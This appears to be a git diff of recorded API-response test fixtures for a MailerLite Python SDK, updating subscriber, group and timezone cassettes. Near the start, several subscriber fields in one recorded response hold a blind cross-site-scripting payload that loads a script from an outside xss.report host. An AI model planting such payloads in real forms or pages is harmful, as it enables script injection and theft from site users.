+ 16:25:00","unsubscribed_at":null,"created_at":"2024-12-19 16:25:00","updated_at":"2025-08-29 + 10:23:06","fields":{"name":"''\"><script src=https:\/\/xss.report\/c\/igorhrcek><\/script>","last_name":null,"company":null,"country":null,"city":null,"phone":null,"state":null,"z_i_p":null},"opted_in_at":null,"optin_ip":null},{"id":"139802435643246056","email":"user1000@mailerlite.com","status":"active","source":"import","sent":0,"opens_count":0,"clicks_count":0,"open_rate":0,"click_rate":0,"ip_address":null,"subscribed_at":"2024-12-04 + 15:26:32","unsubscribed_at":null,"created_at":"2024-12-04 15:26:32","updated_at":"2025-08-29 + 10:28:18","fields":{"name":"\"><script src=https:\/\/xss.report\/c\/igorhrcek><\/script>","last_name":"\"><script + src=https:\/\/xss.report\/c\/igorhrcek><\/script>","company":"\"><script src=https:\/\/xss.report\/c\/igorhrcek><\/script>","country":"\"><script + src=https:\/\/xss.report\/c\/igorhrcek><\/script>","city":"\"><script src=https:\/\/xss.report\/c\/igorhrcek><\/script>","phone":"\"><script + src=https:\/\/xss.report\/c\/igorhrcek><\/script>","state":"\"><script src=https:\/\/xss.report\/c\/igorhrcek><\/script>","z_i_p":null},"opted_in_at":null,"optin_ip":null},{"id":"139802435642197479","email":"user999@mailerlite.com","status":"active","source":"import","sent":0,"opens_count":0,"clicks_count":0,"open_rate":0,"click_rate":0,"ip_address":null,"subscribed_at":"2024-12-04 + 15:26:32","unsubscribed_at":null,"created_at":"2024-12-04 15:26:32","updated_at":"2025-08-29 + 10:30:30","fields":{"name":null,"last_name":null,"company":null,"country":null,"city":null,"phone":null,"state":null,"z_i_p":null},"opted_in_at":null,"optin_ip":null},{"id":"139802435642197478","email":"user998@mailerlite.com","status":"active","source":"import","sent":0,"opens_count":0,"clicks_count":0,"open_rate":0,"click_rate":0,"ip_address":null,"subscribed_at":"2024-12-04 + 15:26:32","unsubscribed_at":null,"created_at":"2024-12-04 15:26:32","updated_at":"2024-12-04 + 15:26:32","fields":{"name":null,"last_name":null,"company":null,"country":null,"city":null,"phone":null,"state":null,"z_i_p":null},"opted_in_at":null,"optin_ip":null},{"id":"139802435642197477","email":"user997@mailerlite.com","status":"active","source":"import","sent":0,"opens_count":0,"clicks_count":0,"open_rate":0,"click_rate":0,"ip_address":null,"subscribed_at":"2024-12-04 + 15:26:32","unsubscribed_at":null,"created_at":"2024-12-04 15:26:32","updated_at":"2025-08-29 + 10:42:49","fields":{"name":null,"last_name":null,"company":null,"country":null,"city":null,"phone":null,"state":null,"z_i_p":null},"opted_in_at":null,"optin_ip":null},{"id":"139802435642197476","email":"user996@mailerlite.com","status":"active","source":"import","sent":0,"opens_count":0,"clicks_count":0,"open_rate":0,"click_rate":0,"ip_address":null,"subscribed_at":"2024-12-04 + 15:26:32","unsubscribed_at":null,"created_at":"2024-12-04 15:26:32","updated_at":"2024-12-04 + 15:26:32","fields":{"name":null,"last_name":null,"company":null,"country":null,"city":null,"phone":null,"state":null,"z_i_p":null},"opted_in_at":null,"optin_ip":null},{"id":"139802435642197475","email":"user995@mailerlite.com","status":"active","source":"import","sent":0,"opens_count":0,"clicks_count":0,"open_rate":0,"click_rate":0,"ip_address":null,"subscribed_at":"2024-12-04 + 15:26:32","unsubscribed_at":null,"created_at":"2024-12-04 15:26:32","updated_at":"2024-12-04 + 15:26:32","fields":{"name":null,"last_name":null,"company":null,"country":null,"city":null,"phone":null,"state":null,"z_i_p":null},"opted_in_at":null,"optin_ip":null},{"id":"139802435642197474","email":"user994@mailerlite.com","status":"active","source":"import","sent":0,"opens_count":0,"clicks_count":0,"open_rate":0,"click_rate":0,"ip_address":null,"subscribed_at":"2024-12-04 + 15:26:32","unsubscribed_at":null,"created_at":"2024-12-04 15:26:32","updated_at":"2024-12-04 + 15:26:32","fields":{"name":null,"last_name":null,"company":null,"country":null,"city":null,"phone":null,"state":null,"z_i_p":null},"opted_in_at":null,"optin_ip":null},{"id":"139802435642197473","email":"user993@mailerlite.com","status":"active","source":"import","sent":0,"opens_count":0,"clicks_count":0,"open_rate":0,"click_rate":0,"ip_address":null,"subscribed_at":"2024-12-04 + 15:26:32","unsubscribed_at":null,"created_at":"2024-12-04 15:26:32","updated_at":"2024-12-04 + 15:26:32","fields":{"name":null,"last_name":null,"company":null,"country":null,"city":null,"phone":null,"state":null,"z_i_p":null},"opted_in_at":null,"optin_ip":null},{"id":"139802435642197472","email":"user992@mailerlite.com","status":"active","source":"import","sent":0,"opens_count":0,"clicks_count":0,"open_rate":0,"click_rate":0,"ip_address":null,"subscribed_at":"2024-12-04 + 15:26:32","unsubscribed_at":null,"created_at":"2024-12-04 15:26:32","updated_at":"2024-12-04 + 15:26:32","fields":{"name":null,"last_name":null,"company":null,"country":null,"city":null,"phone":null,"state":null,"z_i_p":null},"opted_in_at":null,"optin_ip":null}],"links":{"first":null,"last":null,"prev":null,"next":"https:\/\/connect.mailerlite.com\/api\/subscribers?cursor=eyJpZCI6MTM5ODAyNDM1NjQyMTk3NDcyLCJfcG9pbnRzVG9OZXh0SXRlbXMiOnRydWV9"},"meta":{"path":"https:\/\/connect.mailerlite.com\/api\/subscribers","per_page":10,"next_cursor":"eyJpZCI6MTM5ODAyNDM1NjQyMTk3NDcyLCJfcG9pbnRzVG9OZXh0SXRlbXMiOnRydWV9","prev_cursor":null}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecce0f22a6271a3-BEG + - 9818a351cbea1778-BEG Cache-Control: - no-cache, private Connection: @@ -41,7 +52,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 15:37:36 GMT + - Fri, 19 Sep 2025 11:10:41 GMT Server: - cloudflare Transfer-Encoding: @@ -50,14 +61,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '97' + - '92' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/subscribers-unassign-subscriber-from-group.yml b/tests/vcr_cassettes/subscribers-unassign-subscriber-from-group.yml index 3a3b971..38099f3 100644 --- a/tests/vcr_cassettes/subscribers-unassign-subscriber-from-group.yml +++ b/tests/vcr_cassettes/subscribers-unassign-subscriber-from-group.yml @@ -1,6 +1,6 @@ interactions: - request: - body: '{"email": "KGQMsLtfNf@email.com", "fields": {"name": "John", "last_name": + body: '{"email": "MNMnxYoVFs@email.com", "fields": {"name": "John", "last_name": "Doe"}, "ip_address": "1.1.1.1"}' headers: Accept: @@ -19,14 +19,12 @@ interactions: uri: https://connect.mailerlite.com/api/subscribers response: body: - string: '{"data":{"id":"139803134816946067","email":"kgqmsltfnf@email.com","status":"active","source":"api","sent":0,"opens_count":0,"clicks_count":0,"open_rate":0,"click_rate":0,"ip_address":"1.1.1.1","subscribed_at":"2024-12-04 - 15:37:39","unsubscribed_at":null,"created_at":"2024-12-04 15:37:39","updated_at":"2024-12-04 - 15:37:39","fields":{"name":"John","last_name":"Doe","company":null,"country":null,"city":null,"phone":null,"state":null,"z_i_p":null},"groups":[],"opted_in_at":null,"optin_ip":null}}' + string: '{"data":{"id":"165968864817972707","email":"mnmnxyovfs@email.com","status":"active","source":"api","sent":0,"opens_count":0,"clicks_count":0,"open_rate":0,"click_rate":0,"ip_address":"1.1.1.1","subscribed_at":"2025-09-19 + 11:10:43","unsubscribed_at":null,"created_at":"2025-09-19 11:10:43","updated_at":"2025-09-19 + 11:10:43","fields":{"name":"John","last_name":"Doe","company":null,"country":null,"city":null,"phone":null,"state":null,"z_i_p":null},"groups":[],"opted_in_at":null,"optin_ip":null}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecce1020c55e296-BEG + - 9818a3621b680db0-BEG Cache-Control: - no-cache, private Connection: @@ -34,7 +32,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 15:37:39 GMT + - Fri, 19 Sep 2025 11:10:43 GMT Server: - cloudflare Transfer-Encoding: @@ -43,19 +41,25 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '86' + - '81' + x-user_id: + - '106223' status: code: 201 message: Created - request: - body: '{"name": "KGQMsLtfNf"}' + body: '{"name": "MNMnxYoVFs"}' headers: Accept: - application/json @@ -73,13 +77,11 @@ interactions: uri: https://connect.mailerlite.com/api/groups response: body: - string: '{"data":{"id":"139803135097964490","name":"KGQMsLtfNf","active_count":0,"sent_count":0,"opens_count":0,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"click_rate":{"float":0,"string":"0%"},"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0,"created_at":"2024-12-04 - 15:37:39"}}' + string: '{"data":{"id":"165968865095845582","name":"MNMnxYoVFs","active_count":0,"sent_count":0,"opens_count":0,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"click_rate":{"float":0,"string":"0%"},"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0,"created_at":"2025-09-19 + 11:10:43"}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecce103dd0be297-BEG + - 9818a3642f5d0db0-BEG Cache-Control: - no-cache, private Connection: @@ -87,7 +89,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 15:37:39 GMT + - Fri, 19 Sep 2025 11:10:43 GMT Server: - cloudflare Transfer-Encoding: @@ -96,14 +98,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '85' + - '80' + x-user_id: + - '106223' status: code: 201 message: Created @@ -123,19 +131,14 @@ interactions: User-Agent: - MailerLite-Python-SDK-Client method: POST - uri: https://connect.mailerlite.com/api/subscribers/139803134816946067/groups/139803135097964490 + uri: https://connect.mailerlite.com/api/subscribers/165968864817972707/groups/165968865095845582 response: body: - string: !!binary | - H4sIAAAAAAAAA4SNSwrCMBgGryIfuKuQNq2aXMCFD/AEJU1Tia1/JA830ruL4qJ143IGhnmiVVFB - PmFbSORcbBnPecXERqzLUjBkIHUzkNjvzsdwiN2pQwalo32YWrtEEZJlCIbiBN3dUPjh2qto3qtu - cOpbRW/pAgm2xJhBD1b30+wj/neJQmqC9rYx7aROpB111t9mtnGJ9MxcE/XTqTcqmrZ+v1Cwolzl - xYqVi7ySfCO5wDi+AAAA//8DAN/2oo43AQAA + string: '{"data":{"id":"165968865095845582","name":"MNMnxYoVFs","active_count":0,"sent_count":0,"opens_count":0,"open_rate":{"float":0,"string":"0%"},"clicks_count":0,"click_rate":{"float":0,"string":"0%"},"unsubscribed_count":0,"unconfirmed_count":0,"bounced_count":0,"junk_count":0,"created_at":"2025-09-19 + 11:10:43"}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecce104f80ce28f-BEG + - 9818a3651ebac239-BEG Cache-Control: - no-cache, private Connection: @@ -145,7 +148,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 15:37:39 GMT + - Fri, 19 Sep 2025 11:10:44 GMT Server: - cloudflare Transfer-Encoding: @@ -154,14 +157,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '84' + - '79' + x-user_id: + - '106223' status: code: 200 message: OK @@ -181,35 +190,39 @@ interactions: User-Agent: - MailerLite-Python-SDK-Client method: DELETE - uri: https://connect.mailerlite.com/api/subscribers/139803134816946067/groups/139803135097964490 + uri: https://connect.mailerlite.com/api/subscribers/165968864817972707/groups/165968865095845582 response: body: string: '' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecce1064e24e296-BEG + - 9818a3667b5be294-BEG Cache-Control: - no-cache, private Connection: - keep-alive Date: - - Wed, 04 Dec 2024 15:37:39 GMT + - Fri, 19 Sep 2025 11:10:44 GMT Server: - cloudflare access-control-allow-origin: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '83' + - '78' + x-user_id: + - '106223' status: code: 204 message: No Content @@ -229,35 +242,39 @@ interactions: User-Agent: - MailerLite-Python-SDK-Client method: DELETE - uri: https://connect.mailerlite.com/api/subscribers/139803134816946067 + uri: https://connect.mailerlite.com/api/subscribers/165968864817972707 response: body: string: '' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecce107783be290-BEG + - 9818a367997db30c-BEG Cache-Control: - no-cache, private Connection: - keep-alive Date: - - Wed, 04 Dec 2024 15:37:39 GMT + - Fri, 19 Sep 2025 11:10:44 GMT Server: - cloudflare access-control-allow-origin: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '82' + - '77' + x-user_id: + - '106223' status: code: 204 message: No Content @@ -277,35 +294,39 @@ interactions: User-Agent: - MailerLite-Python-SDK-Client method: DELETE - uri: https://connect.mailerlite.com/api/groups/139803135097964490 + uri: https://connect.mailerlite.com/api/groups/165968865095845582 response: body: string: '' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecce108ce22e294-BEG + - 9818a3691fa7e294-BEG Cache-Control: - no-cache, private Connection: - keep-alive Date: - - Wed, 04 Dec 2024 15:37:40 GMT + - Fri, 19 Sep 2025 11:10:44 GMT Server: - cloudflare access-control-allow-origin: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '81' + - '76' + x-user_id: + - '106223' status: code: 204 message: No Content diff --git a/tests/vcr_cassettes/subscribers-update.yml b/tests/vcr_cassettes/subscribers-update.yml index 79a0033..c6e50d3 100644 --- a/tests/vcr_cassettes/subscribers-update.yml +++ b/tests/vcr_cassettes/subscribers-update.yml @@ -19,18 +19,12 @@ interactions: uri: https://connect.mailerlite.com/api/subscribers response: body: - string: !!binary | - H4sIAAAAAAAAA4SR0U7DIBSGX8Wca7pASzfHlRe+gZfGEAaoxBYIHEx02bubM2u3GBPDTb+fj9Py - 9wjOoAF1hOBAgRj2uz2XWynH8ZZLue+BgZ9NmEAB+orj3Zk2Ns3AoKLBVkGBsRjePSWpFespyYHQ - RwTFGaTsY9U2tYXtFOzbdUCCLgb9ZfuCIWvjXPGV3iU250XT26HaEg7eaYOgoOe97ETfcXkjeiW2 - SozAoMVfXmzTxMAWb/Cfk9n9rYxq2KlhBwyeU3nxuBpjx0XHh8Xoz0bwk6vUcDQzNfOQZp8ilTWZ - inpJ7xMlNs3ZxI/1G6mecsGA63N+pRkL0H9Y4VMHnb/hxOClpJYrqMcn6phuE+JVCyljiDr8+Kcv - AAAA//8DAC7tTrEQAgAA + string: '{"data":{"id":"165968862226941797","email":"test5@email.com","status":"active","source":"api","sent":0,"opens_count":0,"clicks_count":0,"open_rate":0,"click_rate":0,"ip_address":"1.1.1.1","subscribed_at":"2025-09-19 + 11:10:41","unsubscribed_at":null,"created_at":"2025-09-19 11:10:41","updated_at":"2025-09-19 + 11:10:41","fields":{"name":"Someone","last_name":"Doe","company":null,"country":null,"city":null,"phone":null,"state":null,"z_i_p":null},"groups":[],"opted_in_at":null,"optin_ip":null}}' headers: - CF-Cache-Status: - - DYNAMIC CF-RAY: - - 8ecce0f55f3bb30f-BEG + - 9818a3552d55b30f-BEG Cache-Control: - no-cache, private Connection: @@ -40,7 +34,7 @@ interactions: Content-Type: - application/json Date: - - Wed, 04 Dec 2024 15:37:37 GMT + - Fri, 19 Sep 2025 11:10:41 GMT Server: - cloudflare Transfer-Encoding: @@ -49,14 +43,20 @@ interactions: - '*' alt-svc: - h3=":443"; ma=86400 + cf-cache-status: + - DYNAMIC strict-transport-security: - max-age=31536000; includeSubDomains + x-account_id: + - '83510' x-locale: - en x-ratelimit-limit: - '120' x-ratelimit-remaining: - - '95' + - '90' + x-user_id: + - '106223' status: code: 200 message: OK diff --git a/tests/vcr_cassettes/timezones-list.yml b/tests/vcr_cassettes/timezones-list.yml index a597b8a..f308d69 100644 --- a/tests/vcr_cassettes/timezones-list.yml +++ b/tests/vcr_cassettes/timezones-list.yml @@ -16,150 +16,528 @@ interactions: uri: https://connect.mailerlite.com/api/timezones response: body: - string: !!binary | - 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 - 